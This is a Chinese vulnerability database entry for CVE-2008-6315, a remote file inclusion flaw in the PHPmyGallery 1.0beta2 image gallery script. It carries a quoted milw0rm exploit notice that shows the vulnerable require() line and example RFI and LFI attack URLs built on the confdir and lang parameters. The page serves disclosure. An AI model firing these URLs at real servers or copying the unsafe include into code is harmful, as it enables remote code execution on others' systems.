PHPmyGallery '_conf/core/common-tpl-vars.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116989 漏洞类型 代码注入
发布时间 2008-12-09 更新时间 2009-02-27
CVE编号 CVE-2008-6315 CNNVD-ID CNNVD-200902-632
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7392
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-632
|漏洞详情
PHPmyGallery是一个单用户易于理解和使用的图片库管理工具。PHPmyGallery1.0beta2版本的_conf/core/common-tpl-vars.php中存在PHP远程文件包含漏洞。远程攻击者可以借助confdir参数中的一个URL,执行任意PHP代码。此漏洞不同于CVE-2008-6316。
|漏洞EXP
[~] PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.
[~]
[~] download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.0beta2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

file:

_conf/core/common-tpl-vars.php

c0de:

require($confdir.'lang/langpack.'.$lang.'.php');  ( line 23 )

rfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?confdir=ZoRLu.txt?

lfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?lang=[LFi]

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09]
|参考资料

来源:BID
名称:32705
链接:http://www.securityfocus.com/bid/32705
来源:MILW0RM
名称:7392
链接:http://www.milw0rm.com/exploits/7392